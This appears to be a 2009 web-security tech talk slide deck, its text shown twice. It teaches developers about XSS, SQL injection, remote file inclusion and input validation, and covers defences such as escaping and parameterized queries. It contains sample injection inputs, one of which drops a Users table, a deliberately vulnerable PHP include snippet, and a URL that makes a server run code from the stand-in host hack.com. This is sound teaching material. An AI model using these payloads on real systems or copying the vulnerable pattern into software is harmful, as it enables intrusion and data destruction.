Web Security: Tech Talk Mallik http://codeinspections.blogspot.com March 20 th , 2009
Introduction Web applications are accessible openly on web there by making it more prone to hacking. Web Developers are not well versed with security issues because of which the applications are prone to vulnerabilities. Web applications run in the browser, any security loop hole in browser will lead to exploiting vulnerability in web application.
Where do security bugs hide ? Functional Bugs Security Bugs Design Implementation
Web Vulnerabilities XSS (Cross Site Scripting) Attack [44%] SQL Injection [25%] Input Validation [8%] Remote File Inclusion [17%] Cookie Theft [3%]
XSS (Cross Site Scripting) XSS :  code injection by malicious web users into the web pages. Non Persistent: These holes show up when data provided by a web client is used immediately by server-side scripts to generate a page of results for that user. Ex: Search Engines [exploits using social engineering]  Example Persistent: XSS vulnerability that exists when data provided to a web application by a user is stored persistently on the server  Ex: Blogger Comments Example
XSS (Cross Site Scripting) Exploits Session Hijacking / Cookie Theft [ Example ] Redirecting the page to hacker’s desired location [persistent] [ Example ]
Preventing XSS Escaping/Filtering Some of characters like <,> as we do for Portal Application Replacing characters < with &lt; and > with &gt; Both the above solutions prevent users from entering rich HTML content which is required for many web 2.0 Products Escape HTML tags which can be malicious like <script>, <meta> etc. Blogger, MySpace are some with this kind of implementation.
SQL Injection SQL Injection is a security vulnerability occurring in the DB layer. It is method to inject SQL command/query through the webpage. Hacker can come up with an intelligent input which may cause the application to do what it is not supposed to do.  Examples: Incorrect escaping/Filtering: Query:  statement = &quot;SELECT * FROM users WHERE name = '&quot; +  userName  + &quot;';&quot;  Hacker’s input:  a’ OR ‘x’=x Final Statement = SELECT * FROM users WHERE name = ‘a’ OR ‘x’=x’;
SQL Injection More Serious attack: Query:  statement = &quot;SELECT * FROM users WHERE name = '&quot; + userName + &quot;';&quot;  Hacker’s input:  a’; Drop Table Users; Select * from Users where name like ‘% Final Statement = SELECT * FROM users WHERE name = ‘ a’; Drop Table Users; Select * from Users where name like ‘% ’
Preventing SQL Injection  Escaping Special Characters Error-prone way to prevent injections is to  escape  dangerous characters. - Replacing  ‘  with  ‘’   - In MYSQL, use mysql_real_escape_string() to escape special characters  Using Parameterized Statements myCommand = new SqlCommand(&quot;SELECT * FROM USERS WHERE USERNAME=@username AND PASSWORD= @password&quot;, myConnection)) {  myCommand.Parameters.AddWithValue(&quot;@username&quot;, user); myCommand.Parameters.AddWithValue(&quot;@password&quot;, pass);
Remote File Inclusion RFI vulnerabilities allow hackers to run their code on the web servers. XSS is code injection on client side, whereas RFI is on server side. Bad coding practice where filenames were sent as Query parameters can be used as any normal variable in the code. This was one of common PHP vulnerabilities in early days.
RFI Example <?php $file=$_REQUEST[‘file’]; include ($file.&quot;php&quot;); ?> URL: http://test.com/test.php?file=http://hack.com/hack.php? The code in hack.php would get executed on the server
Input Validation Most of security vulnerabilities are because of Hacky input. Input Validation on Client Side (javascript) alone will not suffice. We need to have check for user input on both Client and Server. Hacker can  disable the checks on client side and send invalid input to Server Side. ( Example ) Example:  Shopping site example about how serious a attack can be if there is no server side check.
Security Vulnerability Via Browser Bugs  Browser bugs can sometimes lead to finding vulnerabilities in the Web Applications Example is Cross-Domain XMLHTTP Vulnerability in First version of Chrome What is Cross-Domain XMLHTTP ? What was bug in Chrome Version 1.0 ?  Example
Lessons to Learn Web Security is not Rocket science Validate Input Validate output Watch for New Security Attacks and how they affect your products
Thank You

Security Tech Talk

  • 1.
    Web Security: TechTalk Mallik http://codeinspections.blogspot.com March 20 th , 2009
  • 2.
    Introduction Web applicationsare accessible openly on web there by making it more prone to hacking. Web Developers are not well versed with security issues because of which the applications are prone to vulnerabilities. Web applications run in the browser, any security loop hole in browser will lead to exploiting vulnerability in web application.
  • 3.
    Where do securitybugs hide ? Functional Bugs Security Bugs Design Implementation
  • 4.
    Web Vulnerabilities XSS(Cross Site Scripting) Attack [44%] SQL Injection [25%] Input Validation [8%] Remote File Inclusion [17%] Cookie Theft [3%]
  • 5.
    XSS (Cross SiteScripting) XSS : code injection by malicious web users into the web pages. Non Persistent: These holes show up when data provided by a web client is used immediately by server-side scripts to generate a page of results for that user. Ex: Search Engines [exploits using social engineering] Example Persistent: XSS vulnerability that exists when data provided to a web application by a user is stored persistently on the server Ex: Blogger Comments Example
  • 6.
    XSS (Cross SiteScripting) Exploits Session Hijacking / Cookie Theft [ Example ] Redirecting the page to hacker’s desired location [persistent] [ Example ]
  • 7.
    Preventing XSS Escaping/FilteringSome of characters like <,> as we do for Portal Application Replacing characters < with &lt; and > with &gt; Both the above solutions prevent users from entering rich HTML content which is required for many web 2.0 Products Escape HTML tags which can be malicious like <script>, <meta> etc. Blogger, MySpace are some with this kind of implementation.
  • 8.
    SQL Injection SQLInjection is a security vulnerability occurring in the DB layer. It is method to inject SQL command/query through the webpage. Hacker can come up with an intelligent input which may cause the application to do what it is not supposed to do. Examples: Incorrect escaping/Filtering: Query: statement = &quot;SELECT * FROM users WHERE name = '&quot; + userName + &quot;';&quot; Hacker’s input: a’ OR ‘x’=x Final Statement = SELECT * FROM users WHERE name = ‘a’ OR ‘x’=x’;
  • 9.
    SQL Injection MoreSerious attack: Query: statement = &quot;SELECT * FROM users WHERE name = '&quot; + userName + &quot;';&quot; Hacker’s input: a’; Drop Table Users; Select * from Users where name like ‘% Final Statement = SELECT * FROM users WHERE name = ‘ a’; Drop Table Users; Select * from Users where name like ‘% ’
  • 10.
    Preventing SQL Injection Escaping Special Characters Error-prone way to prevent injections is to escape dangerous characters. - Replacing ‘ with ‘’ - In MYSQL, use mysql_real_escape_string() to escape special characters Using Parameterized Statements myCommand = new SqlCommand(&quot;SELECT * FROM USERS WHERE USERNAME=@username AND PASSWORD= @password&quot;, myConnection)) { myCommand.Parameters.AddWithValue(&quot;@username&quot;, user); myCommand.Parameters.AddWithValue(&quot;@password&quot;, pass);
  • 11.
    Remote File InclusionRFI vulnerabilities allow hackers to run their code on the web servers. XSS is code injection on client side, whereas RFI is on server side. Bad coding practice where filenames were sent as Query parameters can be used as any normal variable in the code. This was one of common PHP vulnerabilities in early days.
  • 12.
    RFI Example <?php$file=$_REQUEST[‘file’]; include ($file.&quot;php&quot;); ?> URL: http://test.com/test.php?file=http://hack.com/hack.php? The code in hack.php would get executed on the server
  • 13.
    Input Validation Mostof security vulnerabilities are because of Hacky input. Input Validation on Client Side (javascript) alone will not suffice. We need to have check for user input on both Client and Server. Hacker can disable the checks on client side and send invalid input to Server Side. ( Example ) Example: Shopping site example about how serious a attack can be if there is no server side check.
  • 14.
    Security Vulnerability ViaBrowser Bugs Browser bugs can sometimes lead to finding vulnerabilities in the Web Applications Example is Cross-Domain XMLHTTP Vulnerability in First version of Chrome What is Cross-Domain XMLHTTP ? What was bug in Chrome Version 1.0 ? Example
  • 15.
    Lessons to LearnWeb Security is not Rocket science Validate Input Validate output Watch for New Security Attacks and how they affect your products
  • 16.